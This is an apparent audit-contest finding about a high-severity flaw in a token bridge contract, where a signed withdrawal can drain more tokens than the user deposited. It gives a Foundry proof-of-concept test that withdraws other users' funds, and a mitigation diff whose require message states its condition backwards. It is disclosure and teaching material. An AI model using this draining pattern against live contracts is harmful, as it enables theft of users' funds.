Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

User can withdraw more tokens than deposited in vault

[H-2] User can withdraw more tokens than deposited in vault

Description:
The withdrawTokensToL1 method allows specifying the amount to be withdrawn. If in the vault there are 10 tokens, but user A deposited only 1 of them, then the signer could sign a transaction for withdrawing 10 tokens to user A.

Impact:
High

Tools used:
foundry

Proof of Concept:

/// This test shows that if user A sends 10 tokens to bridge and user B sends 5 tokens to bridge, then user A or B can withdraw 15 tokens
function testIfSignerCanWithdrawAmountBiggerThanDeposited() public {
// luckyUser is funded with some ERC20 tokens
address luckyUser = makeAddr("luckyUser");
vm.prank(deployer);
token.transfer(luckyUser, 500e18);
// user deposits 10 tokens to Vault
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
vm.stopPrank();
// luckyUser deposits 5 tokens to Vault
vm.startPrank(luckyUser);
uint256 luckyUserInitialBalance = token.balanceOf(luckyUser);
token.approve(address(tokenBridge), depositAmount/2);
tokenBridge.depositTokensToL2(luckyUser, userInL2, depositAmount/2);
assertEq(token.balanceOf(luckyUser), luckyUserInitialBalance - depositAmount/2);
// luckyUser withdraws 15 tokens from Vault
uint256 luckyUserWithdrawAmount = depositAmount + depositAmount/2;
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(luckyUser, luckyUserWithdrawAmount), operator.key);
tokenBridge.withdrawTokensToL1(luckyUser, luckyUserWithdrawAmount, v, r, s);
assertEq(token.balanceOf(address(luckyUser)), luckyUserInitialBalance + depositAmount);
// Mitigate by holding a mapping of user => amount deposited
}

Recommended Mitigation:
Use mapping of user => amount_deposited and when withdrawing check if amount is not greater than what is the amount in the mapping.

diff --git a/src/L1BossBridge.sol b/src/L1BossBridge.sol
index 8fddb07..3f73626 100644
--- a/src/L1BossBridge.sol
+++ b/src/L1BossBridge.sol
@@ -15,11 +15,13 @@ import { L1Vault } from "./L1Vault.sol";
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public DEPOSIT_LIMIT = 100_000 ether;
IERC20 public immutable token;
L1Vault public immutable vault;
mapping(address account => bool isSigner) public signers;
+ mapping(address account => uint256 amount) public amountDeposited;
error L1BossBridge__DepositLimitReached();
error L1BossBridge__Unauthorized();
@@ -42,7 +44,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
_unpause();
}
function setSigner(address account, bool enabled) external onlyOwner {
signers[account] = enabled;
}
@@ -59,6 +61,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
+ amountDeposited[from] += amount;
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
@@ -76,7 +79,12 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param r The r value of the signature
* @param s The s value of the signature
*/
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ require(amount <= amountDeposited[to], "L1BossBridge: amount is less than deposited");
+ amountDeposited[to] -= amount;
sendToL1(
v,
r,
s,
abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
)
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.